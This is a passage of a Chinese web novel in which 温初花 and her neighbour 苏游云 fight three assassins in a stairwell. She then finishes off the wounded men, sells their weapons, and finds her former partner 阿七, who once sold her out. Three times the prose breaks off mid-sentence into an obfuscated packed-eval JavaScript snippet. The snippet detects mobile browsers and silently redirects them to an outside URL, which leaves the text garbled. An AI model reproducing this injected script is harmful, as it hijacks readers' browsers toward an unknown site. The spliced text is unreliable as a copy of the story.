温初花从栏杆上撑起来,往楼梯口走了两步。 然后她停住了。 因为有人已经站在了那里。 苏游云靠在楼梯口的墙上,外套敞开着,里面的衬衫还是扣到最上面一颗。他一只手插在裤兜里,另一只手垂在身侧,姿势散漫得像在等公交车。 月光从破窗户照进来,把他的影子拉得很长,投在楼梯上,正好把三个人的去路挡住了。 三个人也停住了。 领头的那人上下打量了苏游云一眼,似乎在判断这个突然出现的男人是干什么的。他的目光从苏游云的脸上扫到手上,从手上扫到脚上,最后得出了一个结论——不构成威胁。一个穿着衬衫、戴着眼镜、连拳头都没握起来的男人,在这种地方能干什么? “让开。”领头的人说。 苏游云没动。 领头的人皱了皱眉,往前迈了一步。他的右手从夹克口袋里抽出来,攥着一把刀,刀身不长,但很宽,刃口闪着冷光。 他把刀尖对准了苏游云的胸口,意思很明确——再不让开,别怪我不客气。 温初花从走廊里走出来。 “哎,”她喊了一声,三个人同时转头看她,“找他干嘛?找我吧?” 领头的人认出了她。他的瞳孔缩了一下,刀尖从苏游云的方向转向了她。另外两个人也动了,一个从腰间抽出一根短棍,另一个从背后摸出一把砍刀,动作很快,配合也很默契——显然不是第一次干这种事。 “温初花。”领头的人念出这个名字的时候,语气不太像在跟人打招呼,更像在确认一个目标的身份。 “找我什么事?”温初花说着,从楼梯上往下走了两步,站到了苏游云旁边。她的右脚踏在下一级台阶上,膝盖微曲,重心下沉,整个人像一根被压紧的弹簧。 领头的人没有回答。他知道自己的任务是什么,不需要废话。他偏头朝两个同伙使了个眼色,三个人同时动了。 温初花也动了。 她往下冲了两步,右手的匕首从指缝间弹出,刀尖直奔领头那人的咽喉。那人往后一仰,避开了这一刀,但他的刀从下往上撩了过来,直奔温初花的小腹。温初花拧腰闪开,夹克的衣摆被刀尖划开一道口子,布料撕裂的声音在楼道里炸开。 身后传来风声。短棍从左边砸过来,直奔她的后脑勺。她的余光扫到了,身体已经来不及完全避开—— 一只手伸了过来。五指扣住了那根短棍,稳稳地攥住了棍身,像攥住一根树枝。棍子在距离温初花的后脑勺不到一个拳头的距离停住了,纹丝不动。 苏游云握着棍子,往前一带。 那个使棍的人被拽得踉跄了一步,身体前倾,下巴露了出来。苏游云的右肘从下往上顶了上去,肘尖砸在那人的下巴上,骨头碰撞的声音又闷又脆。那人的眼珠子往上翻,短棍从他手里脱落,当啷掉在地上,人像一截木头一样往后倒了下去。 温初花没时间看。领头那人的刀又到了,这一次是横劈,角度很叼,封住了她左闪的路线。她只能往右闪,但右边是墙,她右肩撞在砖墙上,身体贴住了墙根,刀尖从她鼻尖前方扫过去,带起一股风。 砍刀从上往下劈了过来。 温初花蹲下去,砍刀砍在她头顶上方的墙上,砍下一大块墙皮,石灰粉末扑了她一脸。她在粉末中往前一滚,从砍刀下面钻过去,右手的匕首从下往上捅进了那人的大腿侧面。 不是要害,但足够让他跪下去。 那人惨叫着跪倒在地,砍刀脱手,在楼梯上弹了两下,滑到最下面去了。 温初花拔刀,转身。 领头的人已经冲到了她面前。刀尖直刺她的胸口,速度极快,角度极刁,她已经被逼到了墙角,退无可退—— 一只手从她身后伸过来,扣住了领头那人的手腕。苏游云站在她斜后方,那只手像一把铁钳一样箍住了对方的手腕,骨节咯咯作响。 领头那人的脸扭曲了,刀从他手里滑落,当啷掉在台阶上。 苏游云往前推了一步,把那人逼退了三步,然后一个侧踢踹在他的膝盖侧面。“咔嚓”一声,那人惨叫着的膝盖弯成了一个不可能的角度,整个人往侧面倒下去,砸在扶手上,又从扶手上翻了过去,摔在了下一层的楼梯拐角。 不动了。 楼道里安静下来。三个人都躺在地上,两个晕了,一个抱着大腿在哼哼。 温初花站在楼梯上,大口大口地喘气。匕首还握在手里,刃口上挂着血珠,顺着刀尖往下滴。她偏头看着苏游云,眼睛里带着一种说不清的表情。 苏游云把脚收回来,裤腿上溅了几滴血,他没在意,甚至没低头看。他弯腰捡起掉在地上的那根短棍,把它扔到一边,短棍在墙角弹了一下,发出一声闷响。 三分钟。 从第一个人倒下到最后一个人倒下,三分钟。温初花自己解决了两个——准确地说是两个半,那个使砍刀的是她捅倒的,那个使短棍的是苏游云解决的,领头那个半个人是苏游云解决了他没死,她捅了大腿那个还在地上哼哼。 算下来,她解决了一个半,苏游云解决了一个半。 但如果没有苏游云挡下那根短棍,她的后脑勺现在已经开花了。如果没有苏游云扣住领头那个的手腕,她的胸口现在已经多了一个窟窿。这些她心里都清楚。 “你不是普通人。”温初花说。这不是疑问句,是陈述句。 苏游云把外套的下摆抻了抻,动作很随意,好像刚才只是出门倒了趟垃圾。他看了她一眼,那个眼神里面有某种东西跟之前不一样了——不是温柔,不是亲切,是某种更实在的东西,像一把刀从鞘里抽出了一寸,让你看到了它的刃口。 “我从来没说过我是普通人。”他说。 温初花张了张嘴,又闭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526856|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。她没法反驳。 从第一天起,这个人就没说过自己是谁,从哪里来,要干什么。 他只是安静地住在三楼,安静地被她抢了钱,安静地帮她治了腿,然后安静地出现在她需要的时候。他从来没解释过任何事情,而她也从来没问过。 现在她站在楼梯上,浑身是血,手里还攥着刀,终于问了第一个真正想问的问题。 “你为什么帮我?” 她不觉得这人是因为好心。好心这种东西在鬼街活不过三天,能在这里待下来的人,早就把好心这种东西当阑尾割了。 苏游云看着她,月光正好从破窗户照进来,落在他的侧脸上。那双眼镜片后面的眼睛比平时深了一些,像一口被人掀开盖子的井,你往下看,能看到水,但看不到底。 “因为你需要。”他说。 温初花愣住了。 她想过很多答案。她想过他可能另有所图,想过他可能是个什么组织派来找她的,想过他可能只是想在她身上实验某种奇怪的医术。她做了各种准备,甚至想好了怎么拆穿他的谎言、怎么逼他说出真正的目的。 但她没想过这个。 “因为你需要”——这五个字太轻了,轻得像一阵风,吹过来的时候你甚至不确定它是否存在。 但它就是吹过来了,吹得她心里某个地方动了一下,像一扇很久没开过的窗户被人推开了一条缝,外面的光进来了,但你不知道进来的到底是光,还是风,还是别的什么东西。 温初花把匕首收进袖子里,用袖子擦了擦脸上的血。 她的动作很慢,像是在给自己时间消化什么东西。 “……你这个人真的很奇怪。”她说,声音比平时低了一些,少了那股大大咧咧的劲儿,多了点别的什么。 苏游云看着她。 然后他笑了。 不是那种咧开嘴的大笑,不是那种意味深长的笑。就是嘴角微微往上一弯,幅度很小,小到你不仔细看根本看不出来。但确实是笑了。那张空白报纸上终于有了字,虽然只有一笔一划,但至少有了。 “我知道。”他说。 楼道里安静了好一会儿。 楼下那三个人的呻吟声此起彼伏,像一首不怎么好听的二重唱。外面的天还是黑的,月亮不知道什么时候躲进了云层后面,楼道里的光线暗了一些。 温初花靠在墙上,匕首藏在袖子里,指腹无意识地摩挲着刀柄上那道被老周加深过的凹槽。苏游云站在楼梯拐角,月光从他身上移走了,只剩下一个模糊的轮廓。 他们之间隔着几级台阶,隔着还没散尽的血腥味,隔着某种说不清道不明的东西。 温初花忽然觉得嗓子有点干。她清了清嗓子,把目光从他身上移开,低头看着自己的鞋尖。鞋面上有两滴血,分不清是谁的。 “你那个药膏,”她说,语气又回到了那种大大咧咧的调调,好像在聊今天天气不错,“挺好用的。要是以后我受伤了——” 她顿了一下。她在等他说“那就来找我吧”之类的话。 苏游云接上了:“找我。” 就两个字。 没有多余的修饰,没有客套,没有“如果你需要的话”这种给自己留退路的说法。就是“找我”。像一个承诺,简单干脆,不带任何讨价还价的余地。 温初花抬起头看着他。月光又从云层后面钻出来了,落在他的肩头,把他的轮廓镀上一层淡淡的白边。她还是看不透这个人,但她发现自己已经不急于看透他了。 “行,”她说,“找你。” 苏游云转身往楼上走。他的脚步声在楼道里响了几下,很轻,像猫踩在木地板上。走到三楼拐角的时候,他停了停,侧过头来。 月光照在他的侧脸上,那张白净的脸在黑暗中显得有些不太真实,像一幅画。他的声音从上面传下来,不大,但很清楚。 “记住你说的话。” 然后他继续往上走,脚步声越来越远,最后消失了。 9. 难以让人信任的邻居 温初花站在原地,听着那扇门关上的声音,轻轻哼了一声。 把匕首从袖子里抽出来,在领口那块还没干透的血迹上擦了擦刀身,擦干净了,重新卡回手腕内侧。然后她弯腰捡起地上那根短棍,随手扔到了楼道外面的垃圾堆里。 那三个人还躺在地上。领头那个小腿骨断了,人晕着,嘴角挂着血沫。使砍刀的大腿被捅了一刀,血已经流了一摊,脸色白得像纸,还在哼哼。使短棍的下巴被肘击打碎了,整个人蜷在地上,一点动静都没有。 温初花走过去,蹲下来,看了一眼。 领头那个伤得最重,膝盖反曲,骨头茬子大概已经刺穿了皮肉,这条腿算是废了。使砍刀的那个大腿上的伤不致命,但□□的伤口止不住血,再这么流下去,天亮之前人就凉了。使短棍的那个下巴碎了,暂时死不了,但以后吃饭都成问题。 她握着匕首,刀刃在月光下亮了一下。 然后她把三个人都解决了。 干净利落,每人一刀,没让他们多受罪。这不是残忍,是省事。鬼街这种地方,你今天放走一个,明天他带十个人回来。她不想隔三差五就跟同一拨人打来打去,烦。何况这三个人伤成这样,活着也是受罪,不如给个痛快。 她把匕首在领头那人的衣服上擦了擦,插回袖子里,站起身。 楼道里安静了。 她走上楼,经过苏游云那扇门的时候脚步放慢了一瞬。门还是关着的,安安静静的,像什么都没有发生过。 她回到自己的屋子里,关上门,靠着门板站了一会儿。 心里头转着一个念头,但她不愿意把它想清楚。 那种感觉像是在黑暗里摸到了一个东西的轮廓,你知道它在那里,你知道它很重要,但你不敢开灯去看,怕看清楚了之后,一切就都不一样了。 算了。 她走到床边,倒在行军床上,行军床吱呀一声惨叫。 她把匕首从手腕上解下来,搁在枕头底下,右腿伸直了,脚尖往上勾了勾,感受了一下那股顺滑的力道。骨头里面还残留着白天那股暖流的余温,像一杯喝完了还冒着热气的茶,杯壁上留着一点温度。 她闭上眼睛。 脑子里全是苏游云那个笑。不是他的脸,不是他打架的样子,就是那个笑。 嘴角微微往上一弯,幅度小得几乎不存在,但就是那个弧度,像一根鱼钩,不知道挂住了她哪根神经,让她翻来覆去地睡不着。 “你真的很奇怪。”她对着黑暗说。 没有人回答。 但她觉得他在某个地方听到了。这种感觉也很奇怪。 第二天傍晚,温初花照例去陈老板那里取了饭,端着托盘爬上五楼。 沈婆婆开门的时候,温初花就觉得不太对。老人的目光在她脸上多停了两秒,那双浑浊的老眼里头有种说不清道不明的东西,像是在看她的脸,又像是透过她的脸在看别的什么。 “进屋。”沈婆婆让开门口,拄着拐杖慢慢走回桌边。 温初花把托盘搁在桌上,打开饭盒盖子。今天是红烧排骨,陈老板特意挑的肋排,每一块都剁得整整齐齐,酱色浓郁,油亮亮的。旁边配了一碟炒青菜和一碗番茄蛋花汤。 “陈哥说今天排骨新鲜,多炖了半个小时,您尝尝。”温初花把筷子摆好,又倒了杯温水搁在沈婆婆手边。 沈婆婆夹了一块排骨,慢慢嚼着。温初花坐在对面,胳膊肘撑在桌上,下巴搁在手掌心里,等着老人夸两句。但沈婆婆没夸,嚼完那块排骨,喝了口水,然后放下筷子。 “你昨晚跟人动手了?”沈婆婆问。 “嗯,来了三个。” “受伤了?” “没有。” “一个人打的?” 温初花顿了一下。“……不是。那个人也出手了。” 她没说名字,但沈婆婆知道她说的谁。整栋楼里,能出手的人没几个,愿意出手的更少。 沈婆婆端起水杯,慢慢转了两圈,没喝,又放下了。杯子底磕在桌上,发出一声轻响。 “那个人,”沈婆婆开口,声音比平时沉了一些,“你不要太信任。” 温初花的手指在桌面上轻轻敲了两下。她没问“为什么”,也没说“我知道”。她就那么看着沈婆婆,等下文。 沈婆婆没有立刻继续说。她又夹了一块排骨,嚼得很慢,像是在用这个动作争取时间。温初花第一次注意到沈婆婆的手上有一些很淡的疤,分布在指节和虎口的位置,颜色已经跟周围的皮肤差不多了,不仔细看根本看不出来。但那不是老人斑,是旧伤。 “你知道他的来历?”温初花问。 “不知道。”沈婆婆放下筷子,正视着她,“但我能感觉到……他进来,是有目的的。而且这个目的,和你有关。” 楼道里有人在放收音机,声音不大,隔着几层楼板传上来,听不清在唱什么,只有滋啦滋啦的电流声和断断续续的旋律。温初花盯着桌面上那道细长的裂缝看了两秒,又抬起眼皮看沈婆婆。 “那他的目的是好是坏?”她问。 沈婆婆沉默了。 这个沉默比任何回答都重。温初花宁愿她说“是坏的”,或者“我说不清楚”,但沈婆婆什么都没说。她就那么坐着,双手交叠在桌上,拇指无意识地摩挲着食指上那枚老旧的银戒指。窗外的光线在变暗,夕阳从窗户照进来,把她的影子拉得很长,投在对面那堵刷得雪白的墙上。 “……我看不出来。”沈婆婆终于开口了。 温初花皱了皱眉。沈婆婆看不出来?这个老太太平时不怎么说话,但温初花心里清楚,她看人看事准得像把尺子。搬来第一天,沈婆婆就说过她“是个好人”,当时她们才说了不到五句话。可现在面对一个住了快四个月的邻居,沈婆婆说看不出来。 这不正常。 沈婆婆端起水杯,这次喝了一口,慢慢地咽下去。她放下杯子的时候,拇指在杯沿上擦了一下,发出一个很细很尖的声音,像某种昆虫的鸣叫。 “但我怀疑,”沈婆婆说,声音压得很低,“他和外面某个势力有联系。” 温初花的脊背微微绷紧了。 “鬼街虽然出不去,”沈婆婆的目光落在窗户上,透过那层灰蒙蒙的玻璃看向远处,“但消息……偶尔还是能进来的。” 屋子里安静了。 那几个字像石子一样投进了温初花心里的那口深井,激起一圈一圈的涟漪,久久不散。 和外面某个势力有联系。 温初花的脑子里闪过很多画面——□□的机密库房,那个黑匣子,追杀她的人,雨夜的巷子,那封烧掉的信。然后她想到了苏游云那些超出常理的地方:治疗她右腿时那股能量波动,精湛的格斗技巧,注射药剂的行为——虽然他并不知道她看到他注射。他的目的和她有关?沈婆婆说看不出来是好是坏。但温初花自己心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她把排骨塞进嘴里,嚼了两下,骨头上的肉炖得很烂,几乎不用嚼就化开了。味道很好,陈老板的手艺没得说,但她这会儿吃什么都觉得没味道。心里头那个念头像一根刺,扎在那儿,不深,但不拔出来就一直在。 “沈婆婆。” “嗯。” “您怎么知道这些的?” 沈婆婆的筷子停了一下,很短暂,短暂到几乎看不出。然后她继续夹菜,声音平淡得像在说今天天气不错。 “活得久了,自然知道一些事情。” 温初花没有再问。她吃完那块排骨,把骨头吐在桌上,又拿了一张纸巾把骨头包起来扔进垃圾桶。她站起来收拾碗筷,摞饭盒的时候,手指碰到那个空碟子,碟子滑了一下,她接住了。 “明天想吃什么?”她问。 “随便。” “那我就让陈哥看着做了。” 她端着托盘走到门口,回头看了一眼。沈婆婆还坐在桌边,手里端着那杯已经凉了的茶,目光落在窗外,不知道在看什么。夕阳的光从她侧脸照过来,把她花白的头发照得有些发红,像褪了色的旧照片。 温初花关上门,端着托盘下楼。 经过三楼的时候,她又放慢了脚步。 苏游云的门还是关着的,安安静静,像一堵沉默的墙。门上那道被她盯过无数次的铁皮在走廊昏暗的灯光下泛着冷光,没有一点锈迹。 她在门口站了两秒,脑子里翻涌着各种念头——如果他真的是□□派来的,他下一步会做什么?继续接近她?从她嘴里套话?还是等她放下戒备之后再动手? 温初花端着托盘继续往下走。脚步声在空荡荡的楼梯间里一下一下地响着,每一步都比平时重一些,好像在跟谁较劲。 10. 老搭档阿七 温初花从陈老板那儿端了碗面,找了张空桌子坐下来。 鬼街的午饭时间没什么讲究,几张折叠桌往门口一支,塑料凳子东倒西歪,谁来得早谁坐。她今天来得晚,陈老板特意给她留了碗大肠面,面上卧着两颗荷包蛋,油花在汤面上漂着,看着就让人饿。 她刚挑起一筷子面,余光扫到角落里坐着的人。 苏游云。 面前一碗清汤面,连个浇头都没要,就那么一根一根地往嘴里送,吃得跟数面条似的。他穿了件浅灰色的薄毛衣,袖子推到小臂,露出那截白得过分的皮肤。眼镜片后面的眼睛盯着碗里的面,好像那碗面是什么需要认真研究的东西。 温初花看了一眼就收回了目光,低头吃自己的面。 她不是不想跟他说话,是昨天沈婆婆那番话还在她脑子里转。 她嚼着面,脑子里翻来覆去地过这些词,面是什么味道都没尝出来。 吃了一半,她从兜里掏出一卷钱。 那是之前从那三个杀手身上摸出来的。 她杀人有个习惯——搜尸。 不是贪财,是穷。 鬼街不产粮食,不产物资,什么都靠从外面带进来,或者从死人身上扒。她来鬼街快四个月了,没找到什么正经营生,收入全靠宰了追杀她的人然后摸他们的兜。 这行当来钱不稳定,但每次来的时候,都够她花一阵子。 她把钱摊在桌上,数了数。三张红色的,两张绿色的,还有一些零钱,加起来六百多块。 武器她收了,老周那能卖个两百来块。加上这些钱,够她舒舒服服过一个月了。 想到这里,她在心里默默给那三个杀手道了个谢。 谢谢你们大老远跑来鬼街送钱送装备,辛苦了啊。 她把钱分成两份,抽出其中一张红色的,又把零钱里挑了一张最大的,两张叠在一起折了一下,站起来走到苏游云那桌,往他碗旁边一搁。 “上次那三人的钱,一半给你。”她说着,又把那张红色的大票单独抽出来,放在另一边,“这张还你,之前你请吃饭的钱。” 苏游云筷子停了一下,抬起眼皮看她。 温初花两手插兜,下巴微微抬起,一副“我不欠你了”的表情。她其实心里有别的盘算——沈婆婆说他跟她接近可能有目的,那她就把债还清,少欠他一点,以后翻脸的时候也痛快些。 苏游云看了一眼那两摞钱,没动。 “怎么?”他低头继续吃面,声音不大,“说好给我当保镖的呢?发现自己做不到?” 温初花的脸抽了一下。 她想起那天在早点摊上抢他钱的时候说的话——要是有人想杀你,我帮你解决。 当时她穷得叮当响,饿得两眼发绿,抢了人家的钱又觉得理亏,才说了那么一句场面话。现在想想,那句话确实挺不要脸的。人家那身手,需要她保护? “你这身手可用不着我保护。”她说,把凳子拉开,一屁股坐到他旁边。 苏游云没接话。 他吃面的速度还是很慢,一根一根地吃,像在数数。温初花在旁边坐着,看着他那碗清汤寡水的面条,忽然觉得有点过意不去。她碗里有俩荷包蛋,他碗里连根青菜都没有。 “你那个药膏——”她刚开口,苏游云就打断了她。 “吃完了再说。” 温初花闭上嘴,回自己那桌把面扒拉完,连汤都喝了。她把碗送回陈老板的窗口,又去苏游云那桌等着。他总算吃完了,站起来的时候把那两摞钱推回她面前。 “自己留着。”他说。 温初花看着那两摞钱,犹豫了一下,没再推。她这人有个优点——不矫情。 人家不要就是不要,再让就不好看了。她把钱揣回兜里,拿起桌上那三把刀,朝门口走去。 苏游云跟在她身后。 温初花感觉到了,没回头。 两个人一前一后地走着,中间隔了两三步的距离,像两条不知道要去哪里的狗,走着走着就走到了同一条路上。 鬼街的午后没什么人。太阳被云层遮着,光线灰蒙蒙的,街边的店铺有一半没开门。 有几条狗趴在墙根底下打盹,眼皮都懒得抬一下。 空气里飘着一股说不清道不明的味道,像是垃圾堆发酵了,又像是哪家在下料煮什么难闻的东西。 两个人走着走着,到了鬼街入口附近。 那道拱门还是老样子,匾额上的字模糊得像两团墨渍,远远看着像是用血写的。 门外的浓雾依旧翻涌着,像一个永远沸腾的锅,不知道底下在煮什么东西。 风从拱门那边灌进来,带着一股湿冷的气息,混着雾里那种说不清道不明的味道,让人后脖颈发凉。 温初花正要加快脚步走过去,余光扫到拱门内侧的墙根底下,蜷着一个人。 又是一个新人。趴在地上,浑身发抖,脸色白得跟纸似的。这是被抽取能量的反应——鬼街那股无形的力量正在把他体内的东西一点一点往外抽,像抽丝一样,疼得人蜷成一只虾米。等抽完了,人就晕过去了,醒过来就是个彻头彻尾的普通人。 温初花正要挪开目光,脚步忽然顿住了。 那张脸。 即便被灰尘和污渍糊得看不清本来的颜色,即便瘦得颧骨高高耸起,即便闭着眼睛眉头紧锁,那张脸她也认得。眉骨的弧度,下颌的线条,左耳垂上那道被耳钉扯裂过又长好的疤。 阿七。 她曾经在□□一起训练、一起出任务的搭档。 也是三年前出卖她行踪的人。 温初花站在那儿,像被人钉在了地上。 苏游云站在她身后,顺着她的目光看了一眼地上那个人,又看了一眼她的侧脸。她脸上的表情他没见过——不是愤怒,不是仇恨,是一种更复杂的东西,像是一块被摔碎的镜子,你以为它已经碎得不能再碎了,拿起来一看,每一块碎片上都映着同一个画面。 “认识的?”他低声问。 温初花的嘴唇动了动,声音从喉咙里挤出来,干涩得像砂纸。 “认识的。” 阿七趴在地上,抽搐已经缓下来了,但整个人还在发抖。他的手指在地上抓了两下,指甲抠进水泥地的裂缝里,抠出一点灰白色的粉末。他的嘴唇在动,像是在说什么,但声音太小,听不见。 温初花看着他,脑子里翻涌着三年前的画面。 那是一个雨夜。她接了一个任务,潜入一栋大楼取一份文件。阿七是她的搭档,负责在外围接应。她进去之前跟他对了时间——凌晨两点,她在三楼东侧窗户放信号弹,他在楼下接应。 她进去了,拿到了文件,放了信号弹。 没有人回应。 她在窗户边上蹲了十分钟,阿七没有出现。她以为他出了什么事,决定从原路撤出去。走到一楼大厅的时候,灯全亮了。二十多个人从四面八方涌出来,手里拿着枪。 她杀出来的。满身是血,右肩中了一枪,左肋被砍了一刀,从大楼里杀出一条血路,跑了三条街才甩掉追兵。她去找阿七的据点,门是开的,里面是空的。所有的东西都还在,衣服、武器、半碗没吃完的泡面,但是人没了。 后来她才知道,阿七拿了对方的钱,把她的行踪和时间卖了出去。 不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530903|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十多万的大数目,是八万。八万块钱,就把她卖了。 她知道这个数字的时候,正在给自己缝肩膀上的枪伤。针穿过皮肉的时候疼得她满身冷汗,但那个数字比针还扎人。八万块。她跟阿七搭档三年,出生入死十几次,他为了八万块钱就把她卖了。 那一夜之后,她再也没见过阿七。 现在他躺在她面前,在鬼街的入口,被异能被吸走的痛苦折磨得蜷成一团,像一个被扔掉的破布娃娃。 温初花站了很久。风从拱门外灌进来,吹得她外套的下摆一掀一掀的。身后苏游云没有说话,也没有催她。他就那么站着,像一个安静的影子,既不靠近,也不远离。 地上的阿七又开始抽搐了,这次更厉害,整个人缩成一团,膝盖顶到胸口,手指痉挛着抠地面,指甲裂开了,血从指尖渗出来,在水泥地上留下一道道暗红色的划痕。 他的嘴张着,发出一声含混的声音,像是想喊什么,又像是纯粹的痛苦呻吟。 温初花深吸了一口气。 她走过去,蹲下来,把阿七的胳膊拉过来架在自己肩膀上,半拖半拽地把他从路中间弄到了墙根底下。 动作很粗暴,阿七的脑袋磕在墙上,闷响了一声,但她没管。 她把他靠墙放好,掰开他的嘴看了看——舌头还在,没咬断。呼吸还算平稳。 她刚要松手,阿七的手指忽然攥住了她的手腕。 那力道很大,不像一个正在被能力淤积折磨的人能发出的力气。他的指节发白,指甲掐进她手腕的皮肉里,温初花疼得皱了皱眉。 她低头看他。阿七的眼睛半睁着,瞳孔涣散,像是看到了什么,又像是什么都没看到。他的嘴唇在动,这回她听清了。 “初花……对不起……” 温初花的手指僵了一瞬。 她甩开他的手,力气很大,阿七的手腕撞在墙上,骨头磕在砖面上的声音很脆。 她站起来,退了两步,低头看着自己的手腕。 阿七的指甲在她皮肤上留下了几道红印,有的已经破皮了,渗出一丝血珠。 阿七没有再动。他靠着墙根,头歪向一边,彻底晕过去了。 温初花把手腕上的血珠蹭掉,转过身。 苏游云还站在原处,两手插在裤兜里,表情没有任何变化。他没有问那个人是谁,没有问她为什么扶他,没有问她为什么又甩开他。 温初花从他身边走过去的时候,脚步没有停,扔下一句话。 “走了。” 苏游云转身,跟在她身后。 两个人走过了那条堆满垃圾的巷子。 阳光从云层的缝隙里漏下来,在地面上投下一块块不规则的光斑。 温初花走在前面,步子比来时快了一些。苏游云跟在后面,不快不慢,中间隔着的距离没变过,还是两三步。 走到巷子中间的时候,温初花忽然开口了。 “他叫阿七。” 苏游云没接话,等她继续说。 “以前一起干活的搭档。三年前他把我卖了,八万块钱。”她说着,语气很平,像在说一件跟自己没什么关系的事情,“我差点死在那栋楼里。” 苏游云还是没说话。 温初花偏头看了他一眼。他的侧脸被光照着,眼镜片上反射着天空的颜色,看不清他的表情。她不知道他在想什么,也不知道他听到这些会怎么看她。但她发现自己好像不那么在意了。 “你不想知道是什么任务吗?”她问。 “你想说的时候会说。”苏游云说。 温初花沉默了一会儿,嘴角动了一下,不知道算不算笑。 11. 深夜访客 他们走到了老周的铁匠铺门口。门帘子还是那条脏得看不出颜色的布,里面传来叮叮当当的打铁声,节奏跟心跳差不多。 温初花掀开门帘进去,苏游云跟在后面。 老周光着膀子站在铁砧前,锤子举到一半,看到一个陌生男人跟着温初花进来,锤子停在那儿没落下去。 “这谁?”老周问。 “邻居。”温初花说,把那战利品搁在铁砧上,“好东西呢,你看看能值多少。” 老周放下锤子,一样一样拿起来看。宽刃短刀的刃口卷了,需要重新开刃;短棍是实心钢的,两头有磨损,但还能用;砍刀最惨,刃口崩了好几块,刀身上还有两道深痕,像是被人拿什么东西狠狠砸过。 “这三把?”老周翻了翻,嘴里念叨了两句听不清的话,“宽刃的钢还行,短棍能直接卖,砍刀得重打。” “多少钱?” 老周伸出两根手指。 “两百?” “两百。”老周把三把武器搁在铁砧上,拿起锤子敲了一下那把砍刀的刀背,崩了口的地方掉下一小块碎屑,“你这天天往我这儿送破烂,我这铁匠铺都快成你专用的回收站了。” “那您收钱不就完了?” “收你钱你有吗?” 温初花笑了,把桌上那两百块揣进兜里。 温初花把钱收了,揣进兜里。她回头看了一眼苏游云,他正站在铁匠铺门口,看着那个烧得通红的炉子,脸上又是那种没有兴趣的表情。 “老周,”温初花压低声音,用下巴指了指苏游云的背影,“你觉得他怎么样?” 老周看了一眼苏游云,又看了一眼温初花。他没急着回答,拿起铁钳翻了翻炉子里的煤块,火苗蹿上来,把整间屋子映得忽明忽暗。 “你什么时候开始在乎别人怎么样了?”老周说。 温初花噎了一下,张了张嘴想反驳,又发现确实没什么好反驳的。 老周把铁钳搁在一边,拿肩上的毛巾擦了把手。他的目光越过温初花的肩膀,落在门口那个背影上,看了几秒。 “这个人,”老周说,“不像是来躲事的。” “什么意思?” “来鬼街的人分两种。一种是被人追得没路了,跳进来保命的。这种人身上带着慌,眼睛是散的,看什么都像在找退路。”老周顿了顿,“还有一种人,是主动进来的。这种人眼睛不散,他们知道自己要什么。” “那他属于哪种?” 老周没回答。他拿起锤子,在铁砧上敲了一下,叮的一声,在屋子里来回弹。 “你自己看。”他说。 温初花盯着老周的侧脸看了两秒,没再问了。老周这人说话永远说半截,剩下的半截你得自己嚼。她不打算在这儿嚼,外面还有人等着。 她转身掀开门帘,走了出去。阳光打在脸上,她眯了眯眼。 苏游云站在门口,两手插在裤兜里,看着街对面那堵长满青苔的墙。听到门帘响,他偏头看了她一眼,什么也没说,迈步往前走。温初花跟上去,两个人一前一后,像两条流向同一个方向的河,偶尔靠近,偶尔分开,但始终没断。 两个人沿着来路往回走。经过鬼街入口的时候,温初花的脚步慢了一拍,余光扫了一眼墙根——阿七还在那儿,姿势没变,蜷着,像一截被扔掉的木头。她收回目光,继续走。 苏游云跟在她身后。 走过十字路口的时候,他忽然开口了。 “八万块钱。你的命就值这个数?” 温初花愣了一下,然后笑了。不是那种开心的笑,是一种带着点苦涩的、自嘲的笑。 “在那个人眼里,”她说,“大概就值这么多。” “在我眼里不是。” 温初花的脚步停了一瞬。她没有回头。苏游云也没有再说什么。两个人继续走着,脚步声在空荡荡的街道上一前一后地响着,像两只不同节奏的鼓点,偶尔撞在一起,又分开。 她不知道他为什么说那句话。但她知道,从这一刻起,有些事情不一样了。 温初花回到屋里的时候,天已经黑透了。 她把那两百块钱塞进床底的小木箱里,又把匕首从手腕上解下来,搁在枕头底下。 行军床吱呀响了一声,她躺上去,盯着天花板上那道裂缝,脑子里翻来覆去地转着几件事——苏游云那句“在我眼里不是”,阿七蜷在墙根底下的样子,老周说的“你自己看”。 想着想着,眼皮沉了。 不知道过了多久,她在半梦半醒之间听到了一声响动。很轻,像有人踩在走廊的地板上,刻意放轻了脚步,但没放到位。 温初花的眼睛睁开了。黑暗中什么都看不见,但她能感觉到——门口有人。 她没有动,呼吸也没变,右手慢慢伸到枕头底下,摸到了匕首的刀柄。金属的凉意从指尖传上来,她的手指扣住了刀柄上的凹槽,掌心贴合,手腕一翻,匕首卡进了腕骨内侧。 门外的人停了。 然后是三下敲门声。很轻,很有规律,像一个早就排练好的暗号。 温初花听出了这个敲法。她的瞳孔缩了一下,从床上坐起来,光脚踩在水泥地上。她没有开灯,走到门后,左手搭在门锁上,右手藏在身侧,刀尖从指缝间探出来,在黑暗中亮了一下。 “谁?” 门外沉默了两秒。 “我。” 一个字。声音沙哑,像是嗓子被砂纸磨过。但她认得出这个声音。三年前她听了无数次这个声音——在任务前的对表时,在撤退路上的喘息时,在深夜据点里分食一碗泡面时。 温初花拧开了门。 